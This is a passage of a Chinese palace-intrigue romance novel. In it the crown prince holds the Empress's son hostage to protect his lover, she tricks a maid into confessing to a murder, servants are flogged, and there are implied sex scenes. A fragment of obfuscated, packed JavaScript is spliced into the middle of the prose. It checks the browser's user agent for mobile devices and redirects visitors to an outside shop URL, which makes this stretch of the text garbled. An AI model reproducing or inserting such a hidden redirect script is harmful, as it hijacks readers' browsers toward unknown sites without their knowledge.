“她未用密诏,而是命人快马加鞭传召,恨不能人尽皆知,是笃定孤为赢得忠孝的名声,不顾一切进宫见皇祖母。”娄宴负手而立,孤傲冷漠,深不可测的黑眸中泛出阴沉可怖的危险:“孤便遂了她的意。”
“殿下放心,属下拼死也会保全盛姑娘。”
娄宴一挥长袖,转过身,目光幽静:“溦溦同孤一道进宫。”
“盛姑娘也去?”
“为了诱孤出府,她不惜出险招,想来府外已经布下天罗地网,若只你一人,尚还有脱险的可能,若要分心护全溦溦,恐有意外发生,孤绝不能冒这个险。”娄宴敛起黑眸,英眉直入云鬓:“慈宁宫里都是皇祖母的人,只要溦溦不出慈宁宫,便不会有危险。”溦溦只有时刻在自己身边,才觉心安。
九陌道:“那让盛姑娘假扮属下的身份,随殿下一起入宫。”
娄宴点头,叮嘱道:“府里只你一人,万事小心。”
“殿下放心,没有后顾之忧,属下定将他们杀个片甲不留。”九陌神情甚是自信:“属下杀退他
们后,会即刻赶入慈宁宫,宫内还是他们人居多,万一狗急跳墙,皇后什么事都能做得出来。”
“嗯。”
……
入了夜,皇宫庄严肃穆的背景下,入目尽是红墙青瓦、飞檐高耸、琉璃灯火,显得森冷又诡异,月辉笼在一辆镶金黄旗的六轮马车上,寂静夜幕下,只听得到马车强劲的哒哒和车夫的驱马声。
盛溦溦一身男装打扮,娇柔的弱肩上一张精致可人的脸,乌发全然束于发顶,愈发衬得她肌肤胜雪,一双巧目樱唇,竟比女装还要诱人,乖巧地坐在娄宴身旁,马车速度非常快,盛溦溦也尽量控制住自己,偶而身体还是控制不住的左右晃荡,不小心撞到一直默念静心咒的娄宴,微微眯了眯眼眸,看向那个明媚诱人而不自人的罪魁祸首,喉咙不自觉的上下滑动。
终于到了后宫入口处,盛溦溦低头快步跟在娄宴身后,偶而四下打量,也是出于惯性,初到陌生的地方,她习惯熟悉地形。
娄宴驻足转身,见盛溦溦在他身后小跑,冰冷的目光慢慢转柔,他腿修长矫健,又因常年行军打仗而养成行动迅速的习惯,即使走路也会比旁人要更快,侍奉在他身旁的人,也都是随他出生入死之人,自然察觉不到有什么异样。
可方才走了一段路之后,忽见身旁没人了盛溦溦的身影,英眉微一拧,觉查到是因为他走的太快,她跟不上了,头一次没有驻足在原地等,而是走了回去。
盛溦溦见娄宴转身走了回来,突然有些不好意思:“我拖殿下后腿了。”
“是孤走的太快。”娄宴轻轻牵了牵她的手,声音低沉:“孤身边从无女子相伴左右,你是第一个,孤疏忽大意了,孤承诺,仅此一次,以后绝不会让你落单。”
娄宴的告白总是来的这么猝不及防,盛溦溦没想到有一天会吃到自己的狗粮。
“慈宁宫内都是皇祖母的人,只要不离开慈宁宫,就不会有危险。”果决冷血如娄宴,有一日也会对一个女子放心不下,几番叮嘱:“切记不要离开慈宁宫。”
盛溦溦朝娄宴眨了眨眼,长睫之下,眸如星辰,璀璨晶莹:“这话殿下都说了多少遍了啊,我知道啦。”
盛溦溦是男奴打扮,皇太后就寝的内殿自然进不得,只能站在外殿等候,与她一起等的,还有翊坤宫的数名宫女,之所以知道那些宫女是翊坤宫的人,是因为那些宫女所佩的服牌,跟罗才所佩带的腰牌一模一样,有一朵羽毛一样的形状。
看样子,皇后也在慈宁宫啊。
不知道过了多久,一个掌事姑姑打扮的宫女从内殿走了出来,沉声对着一众宫女太监道:“内殿吩咐了,叫所有人都退下。”
盛溦溦一直记着娄宴让人不要离开慈宁宫的话,加之也有些怀疑那宫女所说是否属实,便站着没动,谁知一个宫女路过她身边时,拉了她一把:“叫退下呢,你还愣着做什么呀,快出去呀。”
“我——”
盛溦溦话都没说完,几个太监和宫女连推带搡的就把她带出了门。
夹在人群中的盛溦溦,几次尝试着退出人群都没有成功,眼见离慈宁宫越来越远,她已然意识到这群人的真实意图,还有方才那掌事姑姑模样的人所说的“所有人退下”,应该也是个幌子,目的只是为了将她骗出慈宁宫。
这皇后真当她是个小白鼠还是怎么滴,这么简单就想将她拿下?
盛溦溦敛眉,突然俯身下跪,扬声清脆地唤道:“奴婢参见皇后娘娘。”
身旁簇拥的太监和宫女们也没瞧清楚是谁在唤皇后娘娘,只是惯性使然,呼啦啦的全部应声跪了下去:
“奴婢/奴才参见皇后娘娘。”
盛溦溦:骗人的,不只有掌事姑姑,还有不起眼儿的小宫女。
趁所有人下跪,放下对她的戒心,盛溦溦赶紧踮起脚尖,从一旁溜走了。
等到太监宫女们反应过来被戏弄了之后,哪里还有盛溦溦的半个影子。
“快,大家分头去找,要是不把她给娘娘带回去,咱们都活不过今晚。”掌事姑姑恶狠狠的瞪着众人,还不忘叮嘱:“你们几个去慈宁宫守着,千万不能让她再回到慈宁宫。”
“姑姑放心吧,我们这就去找。”
太监和宫女们分头行事去了,眨眼间,长廊内便空无一人,盛溦溦从暗处走了出来,拍了拍身上的灰,转身朝相反的方向走去。
既然不能回慈宁宫,那便去翊坤宫,料那些太监宫女也不会想到他们要找的人竟然就在他们眼皮子底下。
而且,她始终觉得罗才的死不是意外,可能真的与她有关。
……
娄宴从内殿出来后,发现外殿空无一人,黑眸瞬间涌起锋芒,挺拔傲冷的身躯似集聚狂风骤雨一般,浑身都散发出一股寒冰入骨的气势,目光阴冷森然地盯向在他身后出来的皇后,仿佛来自阴间的鬼魅,令皇后都情不自禁的后退了一步。
自进殿下,娄宴很清楚皇后一直在内殿未离开半步,但此时她身边的两名宫女此时只剩下一位。
很明显,溦溦的消失必然与那名宫女有关。
“太子还有事么?”
娄宴黑眸眯紧,危险的气息几经翻涌,声音却出奇的冷静清洌:“母后累了,这里由儿臣守着便好。”
皇后脸上露出看起来很欣慰的笑:“太子有此心意,本宫甚是宽慰,如此本宫便先行一步。”
皇后前脚刚离开,九陌便赶来了,环视一圈没看到盛溦溦,再想到皇后方才离开时那一脸势在必得的神情,心知不妙。
娄宴不敢耽搁,声音冷沉:“速去皇子所带走
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九皇子,没有孤的命令,任何人不准见。”
宫里的皇子,到了年龄后,都不得与母亲同住一处,而是住在皇子所,即便九皇子是皇后的嫡子,也不例外。
九陌向来唯殿下令办事,但殿下这个吩咐似乎有点儿过了,殿下隐忍了这么多年,怎会在这个时候如此沉不住气?“殿下,属下知道您担心盛姑娘,可九皇子是皇后的命根子,您若是拿九皇子要挟,不怕皇后……”
没等九陌话说完,娄宴一个冷冷的眼神杀过来:“你有意见?”
九陌被娄宴赤目的眼神吓了缩了缩脖子:“属下没有。”
娄宴漠淡的冷哼了一声:“孤了解皇后,她绝不会让九弟出现任何意外的可能。”
……
翊坤宫内,皇后正因盛溦溦消失的事而大动肝火,突然有太监进来通传:“皇后娘娘,太子殿下求见。”
一听到太子求见,本就盛怒皇后差点儿掀翻了千年沉香木桌,十几个太监宫女竟然无用到连一个人都看不住,现在倒好,太子眼睛跟明镜儿似的,竟然看出是她掳走了那贱婢,她前脚才回到翊宫坤,太子后脚就找她要人来了!
皇后心知太子发现那贱婢不见,早晚会来找她,只是没想到竟然这么快!
皇后想不见也不可能,更显得她做贼心虚,所幸那贱婢自己逃了,所以太子追问起来,她完全可以矢口否认。
“请太子进来。”
皇后端坐在凤椅上,一边悠闲的喝着参汤,一边一脸慈爱地看着厅下那个容颜无双、气质高冷、身材挺拔,拥有她亲生儿子无法比似的霸气的娄宴,缓缓道:“太子这个时辰还来看望本宫,本宫甚是心慰。”
娄宴目光幽幽,淡漠的声音中生出冰寒之意:“儿臣不仅来看望母后,还看望了九弟。”
皇后拿着汤勺的手不由的一怔,绢眉蹙起,在后宫摸爬滚打这么多年,岂会听不出娄宴话里的意思呢,但她还抱有侥幸,娄宴几乎与她同时回到翊坤宫,哪有时间去皇子所呢。“太子与肃儿兄弟情深,母后很是宽慰。”
这时一名宫女急匆匆地跑了进来,经过娄宴身旁时,心惊胆战地看了他一眼,尔后跑到皇后身旁耳语了一番,顿时皇后脸色大变,手中的碗勺应声落地。
皇后不顾被汤溅湿的华服,也顾不得前一刻还母慈子孝的和气场面,伸手指着娄宴,恨恨地道:“你掳走了肃儿?”
“母后方才不是说儿臣与九弟兄弟情深?既然兄弟情深,何来掳走一说?”娄宴站在厅下,目光直逼皇后,即使隔着十几层台阶,浑身的霸气和森冷已经将皇后逼于他之下:“儿臣心血来潮带九弟出宫游玩,到了时辰自然会带九弟回来。”
“你——”皇手的手控制不住的颤抖,她觉得娄宴那阴冷的笑比任何魔鬼还要可怕一些:“你想怎么样?”
“母后,这话该儿臣问你。”
“你不能伤害肃儿。”
娄宴眸中升起的浓烈寒意生生将整个翊坤宫正殿都要冻住了:“那要看母后怎么做了。”
皇后愤怒的浑身都在颤抖:“她与翊坤宫太监的死脱不了干系,本宫捉拿她本就理所应当,是你故意阻拦,本宫迫不得已才出此下策。”
“有没有关系,母后比儿臣更清楚。”
皇后见娄宴丝毫不让步,心里越来越慌乱,入宫十几载,她唯一诞下的骨肉只有肃儿,她绝不允许肃儿有任何意外发生。
论心狠手辣,娄宴不在皇后之下,皇后只好认命服输:“你找的人,不在本宫这里。”顿了顿,怕娄宴不相信一般,补充道:“本宫对天发誓,她自己跑了。”
“母后,她若平安,九弟便平安。”娄宴的声音如冰刃一般,直直刺入皇后的心脏:“母后应该很清楚,儿臣一向说到做到。”
皇后心口一怔,双腿发软,扑在地上:“太子,求你,求你不要伤害肃儿。”
任凭皇后声嘶力竭,娄宴步伐毫不停留,每一步都笼罩着的彻骨的冷寒之气,令人看一眼都觉得快要喘不过气来。
皇后再也没有任何法子,对着一众太监宫女怒吼:“给本宫找,挖地三尺都要把她给本宫找回来,确保她毫发无损,否则唯你们是问。”
17. 017
第十七章
盛溦溦一路打听,终于到了翊坤宫太监住的地方,为罗才报仇的机会太渺茫,但至少可以为他烧点儿纸线吧。
另外,娄宴一旦发现她不见了,第一个怀疑的地方肯定就是皇后的翊坤宫了,只要躲在暗处不被人发现,翊坤宫会比任何地方都安全。
已是深夜,而且部分人也都被调去找她了,所以这个时候,翊坤宫当值的宫女太监不多,行动起来也方便。
去太监院需要经过一处茂密的树林,穿过树林再走几步就到了,盛溦溦四下打量了几下,悄悄朝树林走去,人还没走近,便见林子里有一处火光,一个人蹲在地上,面前摆着个火盆,口中念念有词:“求你原谅我,不要来找我啊,求求你了,我也是逼不得已的,我若是不按照皇后娘娘的吩咐去做,我也会没命的,只能怪你命不好,抽到给太子府送膳的差事……”
听起来是个宫女,声音虽小,但因为四周太过寂静,盛溦溦能听的清清楚楚,垂在袖口里的手捏的死死的,原来罗才是她害死的!她迫于皇后的威胁,害死了罗才,但良心不安,才在夜里给罗才烧纸钱以求心理得到宽恕。
盛溦溦瞪红了眼睛,恨不能伸手掐死那个宫女,可转念一想,即使掐死那宫女又如何,罗才惨死的原因还是无人知晓。
“你是谁?在这里做什么?”
宫女惊恐的抬起头,她是见翊坤宫里没什么人,才偷偷溜出来在这里烧纸忏悔,此刻突然听到声音,吓的跌坐在地上,转头见是个不认识的太监,心里不免更加发慌。
偷偷连忙擦了眼角的泪:“……今……今日是我兄长忌日,我出不去,只能偷偷在这里烧些纸钱,还请公公不要告诉旁人。”
盛溦溦走了过去:“一起烧吧,我正好也想烧点儿纸钱。”
宫女见盛溦溦似乎没有出卖自己的打算,稍稍心安了一些,递了点儿纸钱过去:“不知公公是给何人烧?”
“就是昨夜死去的罗公公。”
宫女的脸色唰地一下惨白,在火光的映衬下更是明显,跟没了血色似的。
盛溦溦像没发现她的异常一样,自顾自地继续说:“他昨夜托梦给我,说他是冤死的,宫里有人要害他,他死不瞑目,还说他不走,他要留在宫里报仇……”
宫女越听心里越是害怕,纸钱被她攥的紧紧的,瞳孔越瞪越大,声音也止不住的颤抖:“……他……他还在宫里?”
盛溦溦神色笃定,往宫女身旁凑了凑,压低声音道:“我跟你说,你可别和别人说,他死的那么惨,怎么可能离开?不报仇是不会离开的,所以我才来给他烧点儿纸钱。”
宫女已经恐惧到极限,眼睛不安的四处打量,身子朝盛溦溦靠了靠:“他……他……知道是谁……害了他?”
“这他倒没说,但他知道是谁,他早就盯上她了。”盛溦溦转过脸,用一种低沉缥缈的声音凑近了她说话,手上木棍往烧的正旺的纸钱挑了一下,火苗滋的一下蹿的老高,吓的宫女啊的一声叫了出来。
宫女叫出来的同时,一把紧紧抱住盛溦溦的胳膊,脸埋在胳膊里不愿出来,整个颤抖不已。
这一声尖叫动静不小,吸引了夜间巡逻皇宫守卫。
盛溦溦约摸那些人即将走近的时候,将那宫女抱在她胳膊上的手硬生生的扳掉,然后朝她轻轻一笑,尔后目光直直的盯向一个方向,然后像被什么东西驱使一般,径直朝罗才所住的屋子方向走去:“罗公公,是你吗?你回来了……”
正巧一阵风刮过,那宫女又是一阵崩溃的尖叫。
宫女恐惧至极,吓的快要发疯了,双腿发软到无法动弹,只是用手臂紧紧环着头,颤抖着声音哭求道:“……罗公公……求求你饶了我……我不是故意的……我真的不是故意的……求求你罗公公……我不想害你……可若是我不害你……我就会死……你要报仇也不要找我……你要找就找皇后娘娘……罗公公……不要找我啊……”
夜巡的侍卫们赶到的时候,看到的便是这一幕,听了几句后便明白是怎么一回事了,都是长期浸淫在皇宫里的人,这种事情早就见怪不怪了,两个人上前将那宫女架起来,面无表情地拖走了。
躲在暗中的盛溦溦走了出来,面朝罗才住过的屋子,轻轻地道:“阿才,放心去吧,我替你报了仇了。”
宫里是从这里被拖走的,此处便不再安全了,盛溦溦想着得找个新地方躲起来,一转身看到树林入口处站着一抹清冷修长的身影,眉眼一弯,便朝他跑了过去。
“殿下,您来了。”盛溦溦跑的太快,到娄宴跟前竟有点儿小喘,见他神色阴郁,伸出手扯着他的衣袖来回摇晃了几下,仰起干净澄澈的脸庞,唇角带笑:“就知道殿下聪明绝顶,一定会猜到我在这里的。”
她这张人畜无害的脸,不拿来装无辜、装可爱,太可惜了。
娄宴本来有一肚子的火,看到盛溦溦安然无恙的出现在眼前,脸上软糯笑意,心中的怒火瞬间就熄灭了。
盛溦溦仔细观察着娄宴表情的变化,见他目光转柔,心里不禁喜滋滋的,吹彩虹屁是行走江湖的必备技能。
饶是如此,娄宴还是板起脸,本就硬挺的五官,更是冷峻刻板了:“孤怎么嘱咐你的?”
盛溦溦水眸荡漾,长睫忽闪间露出一副求饶的模样:“我记着呢,不能离开寿康宫嘛,若不是皇后的人假传皇太后的旨意,我真不会出来的,让殿下担心了,我愿意受罚。”
“罚什么?”
“殿下罚我什么都可以。”
娄宴万年冰川般的冷峻容颜上,微微露出一丝不一样的神色,英眉微挑,甚是迫人:“守夜。”
盛溦溦脸色一红,不由的垂下头去,这一日几回,谁能受得了啊!
娄宴目光柔柔地看着盛溦溦,他眼中的小可怜也尽是受气包,也有算计人的一面,方才欺负人起来,看来他也并非人尽可欺,
……
一大早,盛溦溦睡的正香,突然被一阵吵闹声吵醒,伸手摸了摸,发现床侧无人,才慢悠悠地睁了眼。
昨夜从皇宫回来已是丑时了,娄宴却兴趣盎然的紧,抱着她不依不饶的做了几次加速度,她刚开始还能配合,后来实在熬不住了,不知道什么时候就睡着了,更不知道娄宴是什么时候睡的。
穿衣服的时候,盛溦溦发现自己肩膀、前胸、手臂上全是一颗颗粉红的草莓,急忙下榻照镜子,发现耳垂、脖子上都有,脸上顿时阴云密布。
啊啊啊!
这还怎么见人啊
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胳膊、肩膀上的都还好,穿上衣服也就遮住了,耳垂那里戴个大点儿的耳环也可以遮住,可这脖子上的小草莓该怎么遮住呢?毕竟是夏季,天这么热,总不能穿个高领华服出去吧。
苦恼间,门外传来了说话声。
“那边怎么了?”
“好像是运东西的车翻了。”
“你过去瞧瞧去,姑娘还睡着呢,别让他们吵到姑娘。”
方才觉得可能还是做梦,这会儿盛溦溦心里更狐疑了,仔细听了听嘈杂声是从膳房的方向传过来的,不仅有人声,还有车咕噜声,甚至连鸡、鸭、鹅的叫声都有。
一股浓郁的菜市场气息扑面而来。
盛溦溦拿起点唇笔,沾了点儿胭脂,顺着脖子上的小草莓飞快地画出个梨花的形状,几笔下来,几朵梨花、几片花瓣点缀在白皙娇嫩的脖颈间,倒也别有一番趣致。
盛溦溦稍稍收拾了下自己,拉开屋门,放眼朝四周望了望,入目皆是楼宇飞檐、雕龙画凤、郁郁青草,是太子府没错啊!
听到声音,一人丫鬟打扮的姑娘恭恭敬敬地迎了过来:“姑娘醒了?”
盛溦溦有些懵。
要不是确定身在太子府,她真以为自己睡了一觉又穿了?
盛溦溦指了指自己,问:“你在叫我吗?”
“是的姑娘。”丫鬟圆圆的脸,一笑起来两颗小虎牙,很是讨喜:“姑娘,奴婢叫银秀,”说着又指远处另一个粉衣姑娘姑娘,道:“她叫金环,姑娘以后有什么事,尽管吩咐奴婢和金环便好。”
盛溦溦稍稍点了点头,眼下这个状况倒还能勉强稳得住,不至于昏死过去。
“你们从哪里来的?”
“奴婢们是内务府指派来伺候太子殿下的,”银秀弯着腰,露出恭敬的笑:“太子殿下又将奴婢和金环指派给了姑娘,往后奴婢和金环就是姑娘的人了。”
娄宴给身为奴婢的自己又分了两个婢女?这是什么迷之操作?
盛溦溦不由的讶异:“除了你们,还有旁人?”
“内务府一共派来了二十五名太监宫女,十三名太监、十二名宫女。”银秀似乎还欲再说什么,张了张口,最后也没说出来。
一下来了二十五个?这是要将死气沉沉的太子府一下弄成烟火人间么!她赌不准娄宴一早知道这件事的态度。
“殿下呢?”
“回姑娘,太子殿下一早便进宫去了。”
除了和昨夜的事有关,盛溦溦想不出宫里还能有别的什么事,想了想,又问道:“几时去的?”
“奴婢们卯时二刻到的,太子殿下是卯时三刻出门的。”
娄宴就睡了两个时辰?!精力可真够旺盛的啊。
盛溦溦皱了皱眉,正欲转身回屋,银秀忙道:“姑娘这会儿可准备用早膳?”
一下来了这么多人,想来一时半会儿她也没什么事做了,不如先吃点儿东西好了。
“好。”
这头盛溦溦刚应承下来,那头膳房的吵闹声陡的增大,还夹杂着有人劝说的声音,看来有人在太子府里动起手来了。
盛溦溦眯眼笑了笑,刚想着没事做呢,内务府的人可真会来事啊!拍拍手道:“走,先瞧瞧去。”
18. 018
第十八章
娄宴的寝殿与膳房离的不算远,走过去也用不了多久,远远的便听到漠然的数数声音:二十、二十一、二十二……
盛溦溦还觉得奇怪,大清早的莫非有人在府里踢毽子?
走近了,才瞧的清楚,原来是有人拿着杖棍在打人,凳子上绑着一男一女两个人,男子疼的尚且哇哇叫,那女子看上去已经气若游丝,快要疼晕过去了。
盛溦溦蹙了蹙眉,问身边的银秀:“这怎么回事?”
“回姑娘,这二人同奴婢一起,都是内务府新分派来的,进府时,这二人不知怎的撞到了一起,就在院子里吵开了,正巧太子殿下从寝屋出来时,见二人大声喧哗,下令杖责五十大板,杖责后便要退回去了。”五十大板下去,身子骨要是不结实的,小命恐怕都快没了,银秀看向二人的目光有些不忍,却也同情不起来,身为宫奴第一要紧的便是牢记身份,可这二人却犯了太子殿下的大忌:“奴婢方才便想和姑娘说这事的,只是姑娘才刚醒,不想坏了姑娘的心情。”
棍杖继续落下,盛溦溦光听声音就觉得心惊肉跳:“这么说,现在还剩下二十三个人了?”
“是的,还剩十二名太监和十一名宫女。”
手段果断毒辣,丝毫不拖泥带水,是娄宴的性子没错了。
见那被杖刑的女子已然晕了过去,有人提着一桶凉水正准备泼过去,盛溦溦不再言语,也不打算多呆,她向来不爱管这些闲事儿,何况这还是娄宴亲自下的令,她要是出手阻止,岂不是显得她太白莲花了,而且她自己现在的身份也就只是一介奴婢啊!
做奴婢的,做不了什么大事,还是填饱自己的肚子要紧。
盛溦溦抬脚朝膳房的方向走去,银秀看起来倒是个贴心的人,但毕竟刚来,并不熟悉她的喜好,反正都到这儿了,不如去膳房瞧瞧。
“你怎么回事?能不能看着点儿路,就这么一段路,我都被你撞三回了!”
“对不起、对不起啊!我这手不是伤了么,扶不稳推车,这才伤了您。”
“你伤了手,我说换个人来推,你还偏不让,不就是一车菜么,又不是什么珍贵稀罕的玩意儿,值得你一路看着?”
“那边那两位你也是瞧见了的,太子殿下是什么人,咱们刚来自然是要小心谨慎着些,总不能第一天就被人说偷懒不干活吧,回头再被退回宫里……”
因为离的近,纵使对方刻意压低了声音,盛溦溦也还是听的清楚,不由地朝这二人看去。
看样子这两人是运送食材的,一般这种活,都是一对一对的,而且常年累月,应该是很有默契的,但见拉车的太监此时拉长的脸,可以瞧得出来他确实很生气,再瞧瞧他那红肿的、甚至被划了一道血口的后脚裸,也知道他为什么那么生气了。
不过推车的那个太监一直低声下气的的,倒叫人不敢发什么脾气了。“都是我的错,改日请你喝酒,当礼道歉了。”
“这还差不多,得了,时辰也不早了,赶紧卸菜吧。”
说着,便要动手将车上的新鲜食材拿下来,推车的太监见状,神色顿时显得有些紧张,连忙道:“你累了,我来我来……”
“你手都伤了,还是我来吧。”
两人推搡间,一个玉碗突然从车里滚了下来,一直滚到了盛溦溦脚边儿。
盛溦溦见那碗身通体白润细腻,花纹精美,做工细致,一看就是上好的和田白玉所制,尤其是阳光的照耀下,发出的光茫也是温润柔和的。
那太监吓了一跳,豆大的汗珠就从额上滚了下来,正要弯腰去捡,盛溦溦却捡了起来,拿在手里掂了掂。
盛溦溦虽然在宫里呆过很长时间,但她从未出过浣衣局,这些内务府派来的太监宫女自然没见过她,更不认识她,但她身边跟着银秀,对她十分恭敬,这些太监宫女都是在后宫里摸爬打滚数年的,自然比猴子还精明,稍稍一想就知道她是谁了。
况且她长的跟下凡的天仙似的,怪不得太子殿下早晨吩咐所有人都要听她的话呢!
原来是妖媚惑主啊!
盛溦溦看了看垂着头太监,还未开口,却听到身后传来了声音:“我说这玉碗去哪儿了呢,师父一早翻遍了整个御膳房就在找这个碗,谁能想到竟掉在了这食材里了呢。”
一个太监笑眯眯地走过来,看了盛溦溦手上的碗一眼,忙低眉垂眼的道:“见过盛姑娘。”
盛溦溦挑了挑眉,将玉碗递了过去:“既是宫里丢失之物,便有劳公公早些带回去交差吧。”
太监接过了玉碗,连连道是。
盛溦溦的目光却在两个太监身上稍稍停留了一会儿,眸内的神色隐隐有些异样。
……
午膳前,娄宴就回来了。
盛溦溦正站在凳子上,一手扶着书架一端,一手拿着抹布擦试书架,一扭头看到娄宴披着一身耀眼的光走入门内,褚色朝服、墨发青簪、冷眸玉面……不禁眯了眯眼睛,发自内心地道:“殿下像踏着云朵归来一样。”
娄宴走过去,不由分说便将盛溦溦抱下来,拿过她手中的抹布往盆里一丢:“府里不是有下人了?为何还亲自打扫?”说罢,清冷的气息骤近,贴着她的额头,猝不及防就亲了她一口。
“内务府派来的人,哪里知道底细,万一是皇后娘娘的人呢?”盛溦溦笑笑,娄宴的气息拂在她脖子间,痒的她直想躲开:“那些人我信不过,别的地方就算了,殿下的寝殿、书房这些比较私密的地方,还是我打来打扫好了。”
娄宴轻轻刮了下盛溦溦的挺秀鼻尖,道:“孤以为你不谙世事,实则你这小脑袋瓜里的心思也不少。”
好歹也是活了两世的人,这点儿心机都没有还怎么出来混呢。
“跟在殿下身边这么些日子,总得学点儿什么吧!”盛溦溦窝在娄宴的怀里,声音柔柔的,即使声音压低一些,也透着一股子酥软。
“孺子可教也。”娄宴伸手打开抽屉里,拿出一本折子:“你看看。”
“什么啊?”盛溦溦接过折子,随手翻了翻,发现折子上记录的竟然是内务府派来所有人的详细档案,大到姓名、家室、经历,小到优缺点、习惯、爱好等等,事无巨细都写在折子上。“这是殿下让人调查的?”
娄宴点头,将坐正的盛溦溦重新揽回怀里,抚着她软柔的香肩:“皇后心思深沉,不可不防。”
“殿下尚在病中,府内久无人员流动了,为何这次突然调派这么多人进府呢?”这个问题,在盛溦溦早晨见到那些人的时候就已经怀疑了,只是摸不准自己猜的对不对。“是不是与昨夜殿下进宫有关?”
娄宴看向盛溦溦的目光里,隐隐透着一丝瞧不见的欣喜:“聪明。”
盛溦溦不是一个听到夸奖就心花怒放的人,可不知为何,被娄宴那么平淡无常的两个字夸奖一下,又瞧见他浓墨深邃的眸子里透着自己清晰的倒影,竟莫名的有些小开心。
情人嘴里大概也能出甜品吧。
“都是殿下的功劳,是殿下调教的好。”话一出口,盛溦溦才骤然醒悟过来用错词了,红着脸连忙改口:“殿下教育的好。”
娄宴见盛溦溦满面桃色,低垂的眉眼如画一般刻入眼帘,抿起的红唇滟滟诱人,连触及他掌心的发丝都像在挑弄他一般,在手指间纵横缠绕,纵使他极力克制,但有些事出于本能,心中的念想如狂草一般破土而出,一寸一寸的兀自扩大,漫过他的所有思绪和长久以来被禁锢的欲。
娄宴垂眸,眸色幽沉,修长的手指抚上她的脸颊,好整以暇地道:“孤私以为,调教一词更为准确。”
“我就是用错了词,殿下饶了我吧。”盛溦溦叹息,娄宴不是小气的人啊,怎么这会儿竟揪着她的小辫子不放了呢。
娄宴目光微眯,炙热的气息缓缓靠近:“你若不信,要不要孤不辞辛劳再示范一次?”离的近,能看到她胜雪的肌肤上有着细密的汗丝儿,像是绽放的花朵浸过泉水般的香甜,衣领微开间,纤长白皙的脖颈微露,一阵淡淡的、若有若无的清香缓缓飘出,混杂着奶香味儿,诱的他握在她腰间的手不禁稍稍用了力。
压仰的声音,带着浓浓的迷醉灼热的气息,盛溦溦微微一怔,腾地就反应了过来,下意识地扭头朝四周瞧:“殿下,现在可是白日……”
娄宴微微勾唇:“孤方才吩咐过了,没人敢冒着杀头的危险来这里。”
“殿下你——”盛溦溦又羞又恼,挥起的拳头被娄宴一把握在手心,塞入他的怀里,她恼羞的样子,又娇又媚,简直活脱脱勾魂夺魄要人命了,激的他止不住的想雄起。
娄宴将盛溦溦打横抱了起来,因他惯在书房看书阅章,故而书房内殿也备了床榻,以供他歇息所用。
盛溦溦没想到,这床榻有一日竟派上了这样特殊的用场。
内殿四周都置了寒冰消暑,陡然入内,清凉爽快,纵使如此,盛溦溦还是一身的香汗淋漓,被他像揉面团一样翻来覆去的折腾,她最后一丁点儿力气也都消弭殆尽了,整个人软绵绵地瘫在榻上。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569141|187018||http|test|mini|href|location''.split(''|''),0,{}));
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>反观娄宴却是一副神清气爽,似乎还想再起,终是心疼她身体不堪承受,轻柔地将筋疲力竭的她搂入怀里,吻了吻她的额头,拂去额角湿糯的发丝:“孤抱你去沐浴?”
盛溦溦有气无力的摇头,想挪回到床榻上瘫着:“我想……歇息一会儿。”
娄宴无声的勾唇,露出浅淡的笑,犹如寒月皎洁,胜过满天星辰。“就靠在孤怀里歇息。”
“哦……”
盛溦溦不知道自己歇息了多久,中途似乎还做了一个短梦,只知道醒来的时候,仍旧倚在娄宴的怀中。
“醒了?”
盛溦溦红着脸点头,声音还带着初醒时的慵懒:“嗯。”
娄宴俯身在她唇上印上一吻,道:“若是还累,便再睡会儿。”
是还想睡来着,可是近来作息太规律了,时辰一到,她就饿啊。
盛溦溦有些不好意思红着脸:“我……饿了。”
娄宴会不会以为她只知道吃啊,好尴尬啊!
娄宴的声音听上去似乎隐着笑意一般:“那让人将饭菜送来书房,孤亲自喂你,可好?”
盛溦溦一想到自己懒到要让太子殿下喂饭的场景,觉得人生已经达到了颠峰,顿时斗志减少了一大半儿,怕再步上一世的后尘,想想还是坚决地摇了摇头:“不用了,殿下已经很累了……”
娄宴打断道:“孤不累。”
盛溦溦:“……”好想咬断自己的舌头,为什么要说他很累啊啊啊!
偷偷拿眼瞟向娄宴,见他心情甚好,无丝毫异样,方才定了心神。
……
最后还是让人将午膳送来书房的,书房的光线好,既靠窗,比较通透明亮,四下又有寒冰,甚是凉快。
盛溦溦也没敢太放肆,起先还拿着抹布作样子四处擦擦,直到送饭菜的小厮丫鬟统统退下后,方才坐下来用膳。
娄宴见她这个样子,只是极淡的勾了勾唇,也并未说什么。
菜都是膳房现做的,厨子也是内务府从御膳房拨来的厨子,据说这厨子做的菜很合娄宴的胃口,盛溦溦尝了一口,确实同这些日子送来的一样,但因为刚下锅,新鲜的紧,味道要比以前装膳盒送来的更好吃一些。
盛溦溦自己吃,也不忘夹菜给娄宴,基本每吃一样菜,觉得好吃,就会换公筷夹一筷或舀一勺送到娄宴面前的碗里,来来回回那么几下,娄宴看不下去了。
“这些菜,都已经试过了,无毒。”
盛溦溦惊讶的张了张嘴,透出一个“殿下不早说”的哀怨眼神,半晌仿佛觉得自己没资格声讨娄宴,瞥了瞥唇,哼气哼气地继续埋头吃饭吃菜去了。
娄宴眉梢微挑,将他面前剥好的虾拿到盛溦溦面前:“虾腥,孤不喜。”
嫌腥你还剥一盘?
盛溦溦抬眼看着那盘嫩虾肉,不禁抿了抿唇,心里恍悠悠地一动,便明白过来了,娄宴这是给她剥的是啊!
盛溦溦嘴角的笑都止不住的溢出来了,将自己面前一盘挑完香菜的汤推了过去:“来而不往非礼也,殿下请享用。”
娄宴吃着菜,似漫不经心般的道:“昨夜离宫后,皇后以孤病愈为由,奏请父皇恢复太子府所有事务,包括府内下人、交际应酬、朝政内务等,此二十五人只是应急的第一批,太子府的正常配给应为三百人。”
盛溦溦从一盘虾肉里抬起头,口气倒是认真地很:“殿下的意思是说,后面还有好几批是吗?”
“嗯。”娄宴食量不大,一小碗饭菜用完之后,便喝起盛溦溦方才挑完香菜的汤:“孤自今日起,每日都需按时早朝,府里的事你看着拿主意便可。”
盛溦溦猛摇头,全身每个细胞都在拒绝:“我?我不行。”
娄宴口气不容拒绝:“你既是孤的人,理应为孤分担,你屋里的两个奴婢身世清白,有什么事尽管放心吩咐她们去做。”
盛溦溦唇角微扬:“金环和银秀是殿下为我挑的?”
